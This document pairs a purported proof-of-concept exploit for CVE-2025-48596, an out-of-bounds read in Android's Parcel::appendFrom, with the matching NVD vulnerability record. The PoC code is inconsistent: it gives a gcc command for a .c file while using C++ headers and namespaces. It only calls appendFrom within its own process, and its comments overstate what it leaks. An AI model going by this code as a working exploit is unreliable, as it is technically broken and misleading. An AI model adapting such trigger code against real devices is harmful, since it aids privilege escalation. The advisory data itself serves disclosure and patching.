CVE-2025-48596

/* CVE-2025-48596 PoC - Android Parcel.cpp appendFrom OOB Read * This PoC demonstrates the out-of-bounds read vulnerability in Parcel.cpp * Compile: gcc -o poc_cve_2025_48596 poc_cve_2025_48596.c -landroid * Note: Requires Android NDK and appropriate permissions */ #include <binder/Parcel.h> #include <utils/RefBase.h> #include <iostream> using namespace android; /* * Vulnerability trigger function * The appendFrom function in Parcel.cpp does not properly validate * bounds before reading data, leading to OOB read. */ void trigger_vulnerability() { // Create source Parcel with crafted data Parcel sourceParcel; // Write data to source parcel // Attacker controls the data size and content const size_t maliciousSize = 0x1000; // Exceeds expected bounds sourceParcel.writeInt32(maliciousSize); // Create target Parcel Parcel targetParcel; // This call triggers the vulnerable appendFrom function // Without proper bounds checking, it reads beyond allocated buffer targetParcel.appendFrom(&sourceParcel, 0, maliciousSize); // Attacker can now access out-of-bounds memory // potentially leaking sensitive kernel/userspace data } int main() { std::cout << "CVE-2025-48596 PoC - Android Parcel OOB Read" << std::endl; trigger_vulnerability(); return 0; }

{"cve": {"id": "CVE-2025-48596", "sourceIdentifier": "[email protected]", "published": "2025-12-08T17:16:16.643", "lastModified": "2025-12-11T15:15:47.957", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "In appendFrom of Parcel.cpp, there is a possible out of bounds read due to a missing bounds check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-125"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:google:android:13.0:*:*:*:*:*:*:*", "matchCriteriaId": "879FFD0C-9B38-4CAA-B057-1086D794D469"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:14.0:*:*:*:*:*:*:*", "matchCriteriaId": "2700BCC5-634D-4EC6-AB67-5B678D5F951D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:15.0:*:*:*:*:*:*:*", "matchCriteriaId": "8538774C-906D-4B03-A3E7-FA7A55E0DA9E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:16.0:*:*:*:*:*:*:*", "matchCriteriaId": "2D49E611-5D53-479D-A981-42388FDC0E8D"}]}]}], "references": [{"url": "https://android.googlesource.com/platform/frameworks/native/+/6ffdde944d4e0b440b1dfc1f232687299700e039", "source": "[email protected]", "tags": ["Patch", "Product"]}, {"url": "https://source.android.com/security/bulletin/2025-12-01", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}